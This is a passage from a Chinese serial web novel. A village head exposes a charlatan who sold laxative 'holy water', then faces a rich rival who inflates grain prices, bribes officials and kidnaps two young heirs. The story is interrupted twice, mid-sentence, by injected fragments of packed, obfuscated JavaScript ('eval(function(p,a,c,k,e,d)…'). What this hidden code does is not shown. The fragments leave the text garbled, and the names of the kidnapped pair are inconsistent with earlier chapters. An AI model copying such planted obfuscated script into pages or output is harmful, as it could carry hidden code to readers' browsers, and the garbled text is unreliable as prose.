小册子上还记录着他这次在县城行骗的计划:先以祈雨为名,骗取百姓的祈福银;然后再用泻药冒充圣水,让百姓们拉肚子,再谎称是因为他们不够虔诚,需要再捐更多的银子,才能得到神明的宽恕;最后,等银子骗得差不多了,就卷款跑路。 夏雨来看完小册子,心里怒火中烧:这个胡三,真是丧尽天良!竟然用这么恶毒的手段欺骗百姓!他一定要让胡三付出代价! 第二天一早,夏雨来没有直接去城隍庙,而是先去了苏家和陆家。他知道,苏振邦和陆承业现在是县城里的头面人物,有他们的支持,戳穿胡三的骗局就会容易很多。 苏振邦和陆承业听了夏雨来的讲述,又看了他带来的证据,都气得火冒三丈。 “这个胡三,真是胆大包天!竟然敢在我们县城骗钱害人!” 苏振邦拍着桌子,怒喝道,“夏里正,你说吧,需要我们怎么帮忙,我们一定鼎力支持!” 陆承业也说道:“是啊,夏里正,这事儿关系到县城百姓的安危,我们绝不能坐视不管!我们两家的船厂和瓷窑,都有不少工人,随时可以听你调遣!” 夏雨来笑了笑:“苏当家,陆当家,多谢你们的支持!我打算今天下午在城隍庙,当着所有百姓的面,戳穿胡三的骗局。到时候,还需要你们帮我维持秩序,防止胡三趁机逃跑。” “没问题!” 苏振邦和陆承业异口同声地说道。 夏雨来又说道:“另外,我还需要你们帮我找一些泻药的解药,还有一些能证明圣水是假的证据。比如,找一些和胡三加在圣水里的泻药一样的东西,还有一些泥水,让百姓们亲眼看看,所谓的圣水到底是什么。” 苏振邦点了点头:“这事儿交给我!我认识一位老郎中,他那里肯定有泻药的解药。至于证据,我让伙计们去准备!” 陆承业也说道:“我让船厂的工人,去河边挖一些泥水,再找一些白色的粉末,和胡三的泻药放在一起,让百姓们对比一下!” 夏雨来满意地点了点头:“好!那我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“证据?我当然有!” 夏雨来说着,让二狗和三柱把带来的证据拿了出来。 二狗和三柱把装着白色粉末的纸包、装着泥水的小碗,还有那本小册子,都放在了地上。 “大家看!” 夏雨来指着白色粉末,“这就是胡三加在圣水里的东西,根本不是什么神明所赐的仙粉,而是泻药!我已经找人化验过了,这种泻药,人吃了之后,会拉肚子拉得脱水!” 他又指着泥水:“这就是胡三所谓的圣水,根本就是从河边挖来的泥水,再加上刚才的泻药,混合而成的!你们可以闻一闻,尝一尝,和你们之前喝的圣水是不是一样的味道!” 百姓们纷纷围了过来,有的闻了闻泥水,有的尝了尝,都纷纷说道:“是啊!和我喝的圣水味道一样!”“怪不得我喝了之后,一直拉肚子!”“这胡三,果然是个骗子!” 胡三看着百姓们的反应,心里慌了,想要逃跑,却被苏陆两家的工人拦住了去路。 “胡三,你还想跑?” 苏振邦怒喝道,“你骗了我们县城百姓这么多钱财,还想害我们,今天你休想离开这里!” 陆承业也说道:“你以为你能跑得掉吗?我们已经派人通知了县衙,官差马上就到!” 胡三脸色惨白,双腿一软,差点跪倒在地。他知道,自己这次是插翅难飞了。 “大家再看这本小册子!” 夏雨来拿起小册子,大声念了起来,“这是胡三的行骗日记,上面记录着他在各个县城行骗的经过,还有他这次在我们县城的行骗计划!他先是以祈雨为名,骗取大家的祈福银;然后用泻药冒充圣水,让大家拉肚子,再谎称是因为大家不够虔诚,需要再捐更多的银子;最后,等银子骗够了,就卷款跑路!” 百姓们听了,都气得火冒三丈。 “这个骗子!太可恶了!” 王婆气得浑身发抖,“我不仅捐了银子,还把金耳环都当了,换了他的圣水,结果竟然是泻药!” 李老汉也说道:“我把给孙子看病的银子都捐了,现在孙子的病还没好,银子也没了!这胡三,真是丧尽天良!” “打他!揍这个骗子!” 百姓们愤怒地喊道,纷纷向胡三冲去。 夏雨来连忙拦住大家:“大家冷静点!我们不能打他,要让他受到官府的制裁,让他为自己的行为付出代价!” 就在这时,县衙的官差赶到了。为首的是县太爷的师爷,他听说了胡三的骗局后,立刻带着官差赶了过来。 师爷看了看地上的证据,又听了夏雨来的讲述,对胡三说道:“大胆狂徒,竟敢在县城装神弄鬼,欺骗百姓,谋害性命!来人啊,把他给我抓起来!” 官差们立刻上前,把胡三五花大绑起来。胡三挣扎着,嘴里还在喊:“我是活神仙!你们不能抓我!神明会惩罚你们的!” 百姓们听了,都哈哈大笑起来:“你这个骗子,还敢自称活神仙!”“等你到了大牢里,看神明怎么救你!” 官差们押着胡三,准备回县衙。夏雨来连忙说道:“师爷,等一下!胡三骗了百姓们不少钱财,都藏在城隍庙的偏殿里,还有他的黑皮囊和大箱子,里面都是百姓们的血汗钱!” 师爷点了点头:“好!我让人去把钱财取出来,归还给百姓们!” 官差们按照夏雨来的指示,去偏殿里取出了胡三藏的银子和金银首饰。夏雨来让二狗和三柱登记了百姓们的捐款情况,然后把钱财一一归还给了大家。 百姓们拿到了自己的钱财,都对夏雨来感激涕零。 “夏里正,真是太谢谢你了!要不是你,我们还被这个骗子蒙在鼓里!” 王婆握着夏雨来的手,感激地说道。 李老汉也说道:“夏里正,你真是我们的大恩人!你不仅救了我们,还帮我们拿回了钱财!” 陈秀才也红着脸,走到夏雨来面前,不好意思地说道:“夏里正,之前是我糊涂,错信了这个骗子,还阻拦你,真是对不起!” 夏雨来笑了笑:“陈秀才,没关系,你也是被骗子唬住了。以后,大家遇到这种装神弄鬼的人,一定要多加小心,不要轻易相信他们的话,以免上当受骗。” 他顿了顿,又对所有百姓说道:“各位乡亲,所谓的鬼神之说,都是无稽之谈。想要风调雨顺,五谷丰登,靠的不是祈雨祭祀,而是我们自己的辛勤劳作;想要身体健康,远离疾病,靠的不是什么圣水神药,而是注意卫生,锻炼身体。以后,大家有什么困难,或者遇到什么骗子、无赖,都可以来找我,我一定会尽力帮助大家!” 百姓们听了,都纷纷鼓掌,为夏雨来欢呼。 苏振邦和陆承业也走上前,对夏雨来说道:“夏里正,你真是太厉害了!不仅化解了我们两家的世仇,还戳穿了骗子的骗局,救了全县的百姓!我们县城有你这样的里正,真是我们的福气!” 夏雨来笑了笑:“苏当家,陆当家,不用谢我。这都是我应该做的。只要大家团结一心,互相帮助,我们的县城一定会越来越繁荣,越来越安宁!” 五、神棍伏法百姓欢,市井风气更清明 胡三被押回县衙后,县太爷亲自审理了此案。在确凿的证据面前,胡三不得不承认了自己的诈骗罪行。 县太爷勃然大怒,判处胡三杖责五十,流放三千里,并且没收了他所有的非法所得,归还给了受骗的百姓。 判决结果公布后,县城里的百姓们都拍手称快。大家都说,县太爷判得好,骗子就应该受到这样的惩罚! 为了让百姓们吸取教训,夏雨来还在城隍庙门口贴了一张告示,上面详细说明了胡三的行骗手段,提醒大家不要相信装神弄鬼的人,遇到类似的情况,要及时向里正或县衙报告。 告示贴出后,百姓们都纷纷前来观看,互相转告。很多人都表示,以后再也不会相信什么鬼神之说了,遇到事情会先冷静思考,不会轻易上当受骗。 自从戳穿了胡三的骗局后,县城里的风气变得更加清明了。再也没有人敢装神弄鬼骗钱了,商家们都诚信经营,邻里之间也和睦相处,百姓们安居乐业,过上了幸福美满的生活。 苏家和陆家的生意也越来越红火。苏家的霁蓝釉瓷器,通过陆家的船运到江南各地,销量大增;陆家的船厂,因为运输苏家的瓷器,知名度也越来越高,很多客商都主动找陆家的船运输货物。两家还一起出资,修缮了县城的道路和桥梁,资助了贫困的学子,为县城的发展做出了很大的贡献。 苏文轩和陆婉清的感情也越来越深。在双方父母的支持下,他们选定了良辰吉日,准备举行婚礼。婚礼当天,苏家和陆家大摆宴席,邀请了县城里的所有百姓。宴席上,苏振邦和陆承业再次感谢了夏雨来,说要是没有他,就没有两家今天的和睦,也没有苏文轩和陆婉清的幸福。 夏雨来看着这一切,心里充满了成就感。他知道,自己所做的一切,都是值得的。他守护的不仅是一座县城,更是百姓们的幸福和安宁。 这天晚上,夏雨来坐在杂货铺的门口,看着天上的明月,心里感慨万千。他想起了自己刚上任里正时,县城里的种种乱象:两大家族争斗不休,地痞无赖横行霸道,百姓们深受其害。而现在,县城里一片祥和,百姓们安居乐业,这都是他和大家一起努力的结果。 “夏里正,在想什么呢?” 张屠户提着一壶酒,笑着走了过来。 夏雨来笑了笑:“没什么,就是觉得现在的日子真好。” 张屠户坐在夏雨来身边,倒了两杯酒,递给夏雨来一杯:“是啊,现在的日子真是太好了!这都多亏了你,夏里正。来,我敬你一杯!” 夏雨来接过酒杯,和张屠户碰了一下,一饮而尽:“张屠户,不用谢我。这都是大家一起努力的结果。只要我们齐心协力,以后的日子会越来越好!” 两人一边喝酒,一边聊天,聊到了深夜。张屠户离开后,夏雨来回到了屋里,躺在床上,却没有丝毫睡意。他知道,自己肩上的责任还很重,以后还会遇到各种各样的问题,但他有信心,只要自己坚守初心,为百姓着想,就一定能克服所有的困难,让县城变得更加繁荣、更加安宁。 “咚 —— 咚 —— 咚 ——” 三更的梆子声再次响起,夏雨来站在窗前,望着天边的明月,脸上露出了欣慰的笑容。他知道,只要百姓们团结一心,只要《市井公约》能够一直执行下去,这座县城就会永远安宁,永远繁荣。 他笑了,笑得那么开心,那么坦荡。这一夜,他又将是一个无眠之夜,但他无怨无悔,因为他知道,自己肩上的责任重大,他要守护的,是整个县城的希望和未来。 48. 终极对决 一、老财窝火□□计,暗结官差布阴云 县城西头的陈家大院,此刻正弥漫着一股比三伏天还燥热的火气。 陈老财坐在雕花太师椅上,手里的翡翠烟杆被捏得 “咯吱” 响,烟锅里的烟丝都被掐碎了好几回。他那张保养得宜的老脸,此刻拧成了核桃壳,三角眼死死盯着地上碎成八瓣的青花瓷碗 —— 那是他今早得知胡三被流放后,气得摔碎的第三件宝贝。 “夏雨来!你个黄口小儿!” 陈老财猛地一拍桌子,震得桌上的盖碗茶都晃出了水,“先是拆我陈家的戏台,再搅黄我撺掇的赌局,如今连胡三这个挡箭牌都被你拔了,真当我陈某人是泥捏的不成?” 站在一旁的管家陈福,缩着脖子不敢吱声。他跟了陈老财三十年,还从没见过主子气成这副模样 —— 那眼神,像是要吃人似的,连鬓角的山羊胡都气得直哆嗦。 陈老财深吸一口气,三角眼眯成一条缝,眼底闪过一丝阴狠:“他夏雨来不是想当百姓的活菩萨吗?我就让他尝尝,众叛亲离、身败名裂的滋味!” “老爷,您的意思是……” 陈福小心翼翼地问道,心里暗自嘀咕:主子怕是要动真格的了,这夏雨来可不是好惹的,别到时候偷鸡不成蚀把米。 陈老财冷笑一声,从太师椅上站起身,踱了两步,声音压得极低:“你去一趟州府,找我那远房表亲 —— 李通判。就说我愿捐纹银五千两,助他打点上下,只求他帮我办两件事。” “五千两?” 陈福吓得差点跳起来,“老爷,这可不是小数目啊!再说那李通判,听说贪得无厌,万一他收了钱不办事……” “放屁!” 陈老财瞪了他一眼,“李通判是我姨家的表侄,沾着亲呢!再说,有钱能使鬼推磨,五千两银子砸下去,别说一个夏雨来,就是县太爷也得给我几分薄面!” 他顿了顿,脸上露出阴恻恻的笑容:“第一,让李通判给县太爷施压,就说夏雨来勾结苏陆两家,垄断漕运,中饱私囊,让县太爷查他!第二,让他派两个得力的官差下来,名义上是协助维持治安,实则听我调遣,给夏雨来找点麻烦!” 陈福心里咯噔一下:“老爷,这栽赃陷害要是被戳穿了……” “戳穿?” 陈老财嗤笑一声,“只要有李通判撑腰,县太爷敢不买账?再说,我已经让人去散播谣言了,不出三日,全城百姓都会知道夏雨来是个假公济私的伪君子!到时候,他就是浑身是嘴也说不清!” 他走到窗边,望着院子里的石榴树,眼神越发狠辣:“除此之外,你再去安排一下粮铺。从明天起,把米价涨到一石纹银五两,就说是漕运被垄断,粮食运不进来,存货不多了。” “什么?一石五两?” 陈福惊得眼珠子都快掉出来了,“老爷,平日里一石米才一两二钱,这涨了四倍还多,百姓们肯定不愿意啊!” “不愿意也得买!” 陈老财咬牙切齿地说,“我就是要让百姓们买不起米,饿肚子!到时候,他们就会把怨气都撒到夏雨来身上,骂他治理无方,骂他勾结苏陆两家坑害百姓!我要让他从人人称赞的夏里正,变成人人喊打的过街老鼠!” 陈福看着陈老财扭曲的脸,心里一阵发寒:主子这是疯了啊!涨这么高的米价,要是激起民变,可就麻烦了。但他不敢反驳,只能点头哈腰地应道:“是,老爷,我这就去办!” “等等!” 陈老财叫住他,“还有,让粮铺的伙计们多跟百姓们念叨念叨,就说夏雨来收了苏陆两家的好处,故意不让粮食降价,还把粮食运到外地去卖高价,赚黑心钱!” “小人明白!” 陈福躬身退下,心里却七上八下的:夏雨来那么精明,这计谋能得逞吗? 陈老财看着陈福的背影,嘴角勾起一抹得意的笑容。他走到书桌前,拿起一本账本,翻到其中一页,上面记录着苏陆两家的生意往来。 “夏雨来,苏振邦,陆承业…… 你们一个个都给我等着!” 陈老财喃喃自语,“当年我陈家也是县城的名门望族,要不是苏陆两家联手打压,我怎么会落到今天这个地步?如今,我就要让你们尝尝,什么叫一败涂地!” 他想起年轻时,陈家的粮铺遍布县城,生意红火,而苏陆两家只是小打小闹。可后来,苏振邦的瓷窑越做越大,陆承业的船厂也日益兴旺,两人还联手打通了漕运,把生意做到了外地,渐渐挤压了陈家的生存空间。 陈老财心里一直憋着一股气,他恨苏陆两家,更恨帮着他们的夏雨来。在他看来,夏雨来就是苏陆两家的走狗,靠着他们的势力才当上里正,耀武扬威。 “这次,我一定要让你们身败名裂,倾家荡产!” 陈老财一拳砸在桌子上,眼神里充满了怨毒。他仿佛已经看到了夏雨来被百姓唾骂、被官府查办,苏陆两家生意倒闭、家破人亡的景象。 而他,陈老财,将会重新成为县城的霸主,让所有人都对他俯首帖耳。 二、谣言四起粮价飞,百姓惶惶心不安 第二天一早,县城的粮铺就炸了锅。 陈记粮铺的门口,挂出了一块新的木牌,上面用朱砂写着:“今日米价,一石纹银五两”。 刚开门,就有几个百姓来买米,看到木牌上的价格,顿时惊得目瞪口呆。 “什么?一石五两?” 卖菜的李老汉揉了揉眼睛,以为自己看错了,“昨天不还一两二钱吗?怎么一夜之间涨了这么多?” 粮铺的伙计张三,双手叉腰,摆出一副傲慢的样子:“李老汉,你没看错!就是一石五两!现在漕运被人垄断了,粮食运不进来,存货不多了,涨价也是没办法的事!” “垄断漕运?” 李老汉皱起眉头,“谁垄断了?” 张三瞥了他一眼,故意提高声音:“还能有谁?当然是苏陆两家和那个夏里正呗!他们把粮食都运到外地卖高价去了,留给咱们县城百姓的就这么点,不涨价才怪!” “什么?夏里正也参与了?” 旁边的王婆一听,急了,“不可能啊!夏里正不是那种人,他之前还帮我们戳穿了神棍的骗局,救了我们呢!” “王婆,你可别被他的假象骗了!” 张三撇了撇嘴,“那夏雨来表面上是为百姓着想,实际上早就被苏陆两家收买了!听说他收了苏振邦和陆承业不少好处,帮着他们垄断漕运,坑害咱们百姓!” “是啊是啊!” 另一个伙计李四也凑了过来,“我听我表哥说,夏雨来最近在城里买了好几间铺子,都是用的黑心钱!他还跟苏陆两家合伙,把咱们县城的粮食低价收进来,再高价卖到外地,赚得盆满钵满!” 百姓们听了,都议论纷纷。有的人心存疑虑,觉得夏雨来不是那样的人;有的人则开始动摇,毕竟米价涨得太离谱了,让他们难以接受;还有的人,本身就对夏雨来有些嫉妒,此刻更是趁机煽风点火。 “怪不得最近粮价一直涨,原来是他们搞的鬼!” 一个中年汉子愤愤地说道,“我家孩子多,一天要吃不少米,这一石五两,我哪里买得起啊!” “是啊!这夏雨来太黑心了!亏我之前还那么相信他!” 一个老太太也跟着说道,“早知道他是这样的人,当初就不该让他当里正!” 谣言像长了翅膀一样,很快传遍了整个县城。越来越多的百姓开始相信,粮价暴涨是夏雨来和苏陆两家搞的鬼。 有的人跑到夏雨来的杂货铺门口,对着铺子骂骂咧咧;有的人则去找苏振邦和陆承业,要求他们降低粮价;还有的人,甚至跑到县衙门口,要求县太爷查办夏雨来。 此时,夏雨来正在杂货铺里,和苏振邦、陆承业商量事情。最近漕运生意不错,他们打算再添几艘船,扩大运输规模。 “夏里正,苏当家,陆当家,不好了!” 二狗气喘吁吁地跑了进来,脸上满是焦急,“外面出大事了!” “怎么了?慌慌张张的!” 夏雨来皱了皱眉,问道。 “陈记粮铺把米价涨到一石五两了!” 二狗急道,“还到处散播谣言,说粮价暴涨是你们搞的鬼,说你们垄断漕运,把粮食运到外地卖高价,坑害百姓!” “什么?” 苏振邦猛地站了起来,怒喝道,“这个陈老财,真是太过分了!竟然敢造谣污蔑我们!” 陆承业也脸色铁青:“一石五两?他这是想逼死百姓啊!不行,我们得赶紧想办法,不能让他得逞!” 夏雨来的脸色也沉了下来。他没想到,陈老财竟然会使出这么恶毒的手段。涨粮价,散布谣言,这是要把他和苏陆两家推向百姓的对立面啊! “夏里正,现在怎么办?” 苏振邦看着夏雨来,焦急地问道,“百姓们都被谣言蒙蔽了,再这样下去,恐怕会出乱子!” 夏雨来沉默了片刻,心里快速盘算着。他知道,现在最重要的是稳定民心,戳穿陈老财的谣言。如果不能尽快解决粮价问题,百姓们的怨气会越来越大,到时候真的可能会出乱子。 “苏当家,陆当家,你们先别着急!” 夏雨来说道,“陈老财这么做,就是想让百姓们怨恨我们,让我们身败名裂。我们不能中了他的计!” 他顿了顿,继续说道:“首先,我们得尽快把粮价降下来。苏当家,你家里的粮铺,还有陆当家,你船厂的粮仓里,应该还有不少粮食吧?我们把这些粮食拿出来,按照原价卖给百姓,先稳定民心!” “没问题!” 苏振邦立刻说道,“我家粮铺还有五百多石粮食,都拿出来,按照一石一两二钱的价格卖!” 陆承业也说道:“我船厂的粮仓里还有三百多石粮食,也拿出来!虽然不多,但能解燃眉之急!” “好!” 夏雨来点了点头,“二狗,你立刻去通知苏陆两家的粮铺,按照原价卖粮,并且告诉百姓们,粮价暴涨是陈老财的阴谋,跟我们无关!” “是,夏里正!” 二狗连忙点头,转身就要走。 “等等!” 夏雨来叫住他,“还有,让苏陆两家的伙计们多跟百姓们解释解释,就说漕运一直很通畅,粮食供应充足,陈老财涨粮价纯粹是为了牟取暴利,散布谣言是为了嫁祸我们!” “小人明白!” 二狗说完,快步跑了出去。 夏雨来又对苏振邦和陆承业说道:“苏当家,陆当家,光靠我们的粮食,恐怕撑不了多久。陈老财在县城有好几家粮铺,还有不少存粮,他要是一直把粮价抬得那么高,百姓们还是会有意见。我们得想办法,彻底戳穿他的阴谋!” 苏振邦皱着眉说道:“夏里正,你有什么好办法?陈老财现在肯定不会承认是他搞的鬼,而且他还散布了那么多谣言,百姓们已经有些相信他了。” 陆承业也说道:“是啊,夏里正,这陈老财阴险得很,我们得小心应对!” 夏雨来笑了笑:“陈老财以为,涨粮价、散布谣言就能把我们搞垮,他太小看我们了,也太小看百姓们的眼睛了!” 他顿了顿,眼神变得坚定起来:“我们不仅要把粮价降下来,还要找到陈老财操纵粮价、散布谣言的证据,当着所有百姓的面,戳穿他的真面目!让他身败名裂,付出应有的代价!” 苏振邦和陆承业对视一眼,都点了点头:“夏里正,我们听你的!你说怎么干,我们就怎么干!” 夏雨来说道:“好!苏当家,你负责联系其他粮商,让他们不要跟着陈老财涨价,一起稳定粮价。陆当家,你负责调查陈老财的粮铺,看看他的存粮到底有多少,有没有把粮食运到外地卖高价的证据。我则去县衙,跟县太爷说明情况,让他出面干预粮价,同时调查陈老财散布谣言的事情。” “没问题!” 苏振邦和陆承业异口同声地说道。 三人商量完毕,立刻分头行动。 夏雨来刚走出杂货铺,就看到一群百姓围了过来,一个个面带怒容。 “夏里正!你给我们说清楚!粮价为什么涨得这么高?是不是你和苏陆两家搞的鬼?” 一个中年汉子大声质问道。 “是啊!夏里正,你不能坑害我们啊!我们都是普通百姓,哪里买得起这么贵的米?” 一个老太太也跟着说道。 夏雨来心里暗自叹气:看来谣言的影响不小啊!他脸上却不动声色,微笑着对百姓们说道:“各位乡亲,大家先冷静一下!粮价暴涨,并不是我和苏陆两家搞的鬼,而是陈老财的阴谋!” “陈老财的阴谋?” 百姓们都愣住了,“夏里正,你这话是什么意思?” 夏雨来说道:“各位乡亲,陈老财为了牟取暴利,故意抬高粮价,还散布谣言,说粮价暴涨是我们搞的鬼,就是想让大家怨恨我们,他好坐收渔翁之利!” 他顿了顿,继续说道:“我已经让苏当家和陆当家,把他们家里的存粮拿出来,按照原价卖给大家了!大家可以去苏陆两家的粮铺买米,保证供应充足,价格公道!” 百姓们听了,都半信半疑。 “夏里正,你说的是真的吗?苏陆两家的粮铺真的按照原价卖米?” 一个百姓问道。 “当然是真的!” 夏雨来肯定地说道,“我以里正的身份担保,苏陆两家的粮铺,绝对不会涨价!而且,我已经去县衙禀报了县太爷,县太爷已经答应出面干预粮价,一定会给大家一个满意的答复!” 就在这时,二狗跑了过来,大声说道:“夏里正,苏陆两家的粮铺已经开始按照原价卖米了!好多百姓都已经买到了!” 百姓们听了,都松了一口气。有的百姓立刻转身,向苏陆两家的粮铺跑去;有的百姓则留在原地,想看看事情的后续发展。 那个中年汉子看着夏雨来,不好意思地说道:“夏里正,刚才是我太冲动了,错怪你了!” 夏雨来笑了笑:“没关系,各位乡亲,我知道大家都是因为粮价的事情着急。以后,大家遇到事情,一定要先冷静思考,不要轻易相信谣言。如果有什么疑问,可以直接来找我,我一定会给大家一个满意的答复!” 百姓们听了,都纷纷点头。 夏雨来看着百姓们散去的背影,心里暗自庆幸:幸好及时采取了措施,否则后果不堪设想。但他知道,这只是开始,陈老财肯定还会使出其他手段,他必须做好充分的准备。 三、官差撑腰耍蛮横,夏雨来巧计破局 夏雨来刚处理完百姓的事情,准备去县衙,就看到两个穿着官差服的汉子,带着几个陈家的打手,气势汹汹地向杂货铺走来。 为首的官差,身材高大,满脸横肉,腰间挎着一把腰刀,眼神凶狠,一看就不是善茬。他身后的那个官差,身材瘦小,贼眉鼠眼,手里拿着一根水火棍,跟在后面耀武扬威。 “夏雨来!你给我出来!” 高大官差走到杂货铺门口,大声喝道,声音洪亮,震得杂货铺的窗户都嗡嗡作响。 夏雨来皱了皱眉,走出杂货铺:“在下夏雨来,不知两位官爷找我有何贵干?” 高大官差上下打量了夏雨来一番,嘴角勾起一抹冷笑:“你就是夏雨来?听说你勾结苏陆两家,垄断漕运,操纵粮价,坑害百姓?” 夏雨来心里一沉:果然是陈老财找来的人!他不动声色地说道:“官爷,饭可以乱吃,话不能乱讲!我夏雨来身为里正,一直为百姓着想,怎么可能做出这种事情?这都是陈老财散布的谣言,还请官爷明察!” “明察?” 高大官差嗤笑一声,“我们接到举报,说你利用职务之便,收受贿赂,中饱私囊!今天我们就是来查你的!” 他身后的瘦小官差也说道:“没错!夏里正,我们劝你老实交代,否则,休怪我们不客气!” 夏雨来心里暗自好笑:这两个官差,一看就是陈老财花钱请来的,根本不是来查案的,而是来捣乱的。他知道,跟他们硬来肯定不行,他们毕竟是官差,手里有权力,要是把他们惹急了,说不定会给自己安上一个罪名。 “官爷,既然你们是来查案的,那我一定配合!” 夏雨来微笑着说道,“不过,我有一个请求,还请官爷答应!” 高大官差皱了皱眉:“什么请求?你倒是说说看!” 夏雨来说道:“官爷,我夏雨来在县城也算是有头有脸的人物,要是你们就这样在我杂货铺门口查案,传出去对我的名声不好。不如这样,我们去县衙,当着县太爷的面,把事情说清楚。如果我真的犯了罪,我甘愿受罚;如果是有人诬告我,还请县太爷为我做主!” 高大官差心里咯噔一下:去县衙?县太爷跟夏雨来的关系不错,要是去了县衙,说不定会偏向他。他眼珠一转,说道:“哼!你以为去了县衙就能蒙混过关吗?我们现在就要查!来人啊,把杂货铺给我搜一遍!” 说着,他身后的几个陈家打手就想冲进杂货铺。 “慢着!” 夏雨来大喝一声,拦住了他们,“官爷,没有县太爷的命令,你们不能随便搜查我的铺子!这是我的私产,受官府保护!” “保护?” 高大官差冷笑一声,“你一个涉嫌犯罪的人,还想受官府保护?我告诉你,今天我们就算是搜了,你也奈何不了我们!” 他说着,就要亲自冲进杂货铺。 夏雨来心里怒火中烧,但他还是强压着怒气,说道:“官爷,你要是敢强行搜查我的铺子,我就去州府告你!告你滥用职权,欺压百姓!” 高大官差心里一凛:州府?他虽然是李通判派来的,但要是真的闹到州府,李通判也不一定会护着他。毕竟,滥用职权可不是小事。 他犹豫了一下,看向身后的瘦小官差。瘦小官差凑到他耳边,低声说道:“大哥,别跟他废话了!陈老财给了我们不少银子,我们得帮他办事!实在不行,就给他安个罪名,把他带走!” 高大官差点了点头,眼神变得更加凶狠:“夏雨来,你敬酒不吃吃罚酒!既然你不配合,那就休怪我们不客气了!来人啊,把他给我抓起来!” 几个陈家打手立刻冲了上来,想要抓住夏雨来。 夏雨来早有准备,他身形一闪,避开了第一个打手的擒拿,然后一脚踹在他的肚子上,把他踹倒在地。 其他打手见状,也纷纷冲了上来。夏雨来身手矫健,拳脚功夫不错,很快就把几个打手打得鼻青脸肿,躺在地上哀嚎。 高大官差和瘦小官差都愣住了:没想到这个夏雨来还会武功! “好你个夏雨来!竟然敢拒捕!” 高大官差怒喝一声,拔出腰间的腰刀,就向夏雨来砍来。 夏雨来心里一惊,连忙躲闪。他知道,官差的腰刀可不是闹着玩的,要是被砍中了,后果不堪设想。 就在这危急关头,苏振邦和陆承业带着一群工人赶了过来。 “住手!” 苏振邦大声喝道,“你们是什么人?竟敢在光天化日之下,持刀行凶!” 高大官差回头一看,只见苏振邦和陆承业带着几十号工人,气势汹汹地冲了过来。他心里顿时慌了:这么多人,要是真的打起来,他们肯定占不到便宜。 “我们是官差!” 高大官差强作镇定地说道,“我们正在执行公务,抓捕涉嫌犯罪的夏雨来!你们要是敢妨碍公务,就是同罪!” 苏振邦冷笑一声:“官差?我看你们是假官差!真的官差怎么会随便抓人,还持刀行凶?我看你们是陈老财请来的打手,想陷害夏里正!” 陆承业也说道:“没错!我们已经派人去县衙禀报县太爷了,县太爷马上就到!你们要是识相的,就赶紧把刀放下,束手就擒!” 高大官差和瘦小官差心里都慌了:县太爷马上就到?要是县太爷来了,他们的事情就败露了。 就在这时,远处传来了县太爷的轿子声。 “县太爷来了!” 有人大喊一声。 高大官差和瘦小官差脸色一变,再也不敢嚣张了。他们知道,县太爷来了,他们就再也不能胡作非为了。 很快,县太爷的轿子就到了杂货铺门口。县太爷从轿子里走出来,看到眼前的情景,皱了皱眉:“这是怎么回事?” 夏雨来连忙走上前,把事情的经过一五一十地告诉了县太爷。 县太爷听了,脸色顿时沉了下来。他看向高大官差和瘦小官差,厉声问道:“你们是哪个衙门的?是谁让你们来抓夏雨来的?” 高大官差和瘦小官差吓得连忙跪倒在地:“回…… 回县太爷,我们是州府李通判派来的,是…… 是李通判让我们来查夏雨来的!” “李通判?” 县太爷皱了皱眉,“李通判为什么要查夏雨来?他有什么证据证明夏雨来犯罪了?” “这…… 这……” 高大官差和瘦小官差支支吾吾,说不出话来。他们根本没有什么证据,都是陈老财让他们这么说的。 县太爷心里明白了:这肯定是陈老财搞的鬼!他和李通判沾亲带故,肯定是陈老财找了李通判,让他派官差来陷害夏雨来。 县太爷脸色一沉:“你们没有任何证据,就敢随便抓人,还持刀行凶,妨碍公务!来人啊,把这两个假冒官差的人给我抓起来!” “假冒官差?” 高大官差和瘦小官差都愣住了,“县太爷,我们不是假冒的,我们真的是州府的官差!” “哼!” 县太爷冷笑一声,“就算你们是州府的官差,没有我的命令,也不能在我的地盘上胡作非为!把他们给我押回县衙,严加审讯!” 官差们立刻上前,把高大官差和瘦小官差五花大绑起来,押回了县衙。 陈家的打手们见状,吓得魂飞魄散,纷纷逃跑了。 苏振邦和陆承业走到夏雨来身边,说道:“夏里正,没事吧?” 夏雨来笑了笑:“没事!多亏了你们及时赶到,不然我还真有点麻烦!” 苏振邦说道:“夏里正,这陈老财真是太可恶了!竟然敢勾结官差,陷害你!我们一定要好好教训他一顿!” 陆承业也说道:“是啊,夏里正,不能就这么算了!我们得找到他的罪证,让他受到应有的惩罚!” 夏雨来点了点头:“放心吧,我不会放过他的!现在,我们先去县衙,看看县太爷怎么审讯这两个官差。说不定,能从他们嘴里问出一些有用的信息!” 三人说着,向县衙走去。 四、老财狗急跳墙,绑架人质逼妥协 县太爷对两个官差进行了审讯。起初,两个官差还想顽抗,不肯说实话。但在县太爷的严刑逼供下,他们终于忍不住,把事情的真相一五一十地说了出来。 原来,他们确实是州府李通判派来的。陈老财给了李通判五千两银子,让他派官差来陷害夏雨来,把他抓起来,然后再趁机吞并苏陆两家的产业。 县太爷听了,勃然大怒。他没想到,李通判竟然会为了钱财,滥用职权,勾结恶霸,陷害忠良! “这个李通判,真是胆大包天!” 县太爷拍着桌子,怒喝道,“还有那个陈老财,更是罪不可赦!竟敢如此无法无天!” 夏雨来、苏振邦和陆承业听了,也都气得火冒三丈。 “县太爷,这李通判和陈老财,一定要严惩!” 苏振邦说道,“否则,他们以后还会继续为非作歹,危害百姓!” 陆承业也说道:“是啊,县太爷,不能就这么放过他们!” 县太爷点了点头:“你们放心,我一定会向州府禀报此事,弹劾李通判!至于陈老财,我现在就派人去抓他!” 就在这时,一个官差慌慌张张地跑了进来:“县太爷,不好了!陈老财…… 陈老财把苏小姐和陆少爷绑架了!” “什么?” 苏振邦和陆承业都惊呆了,“我女儿(儿子)怎么会被他绑架?” 官差说道:“刚才有人来禀报,说苏小姐和陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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夏雨来说道:“县太爷,你立刻派一些官差,乔装打扮,悄悄跟在我们后面,埋伏在废弃窑厂周围。我们先去跟陈老财谈判,尽量拖延时间,等官差们布置好埋伏,再趁机救出苏小姐和陆少爷!” “好主意!” 县太爷说道,“就这么办!我现在就派官差去准备!” 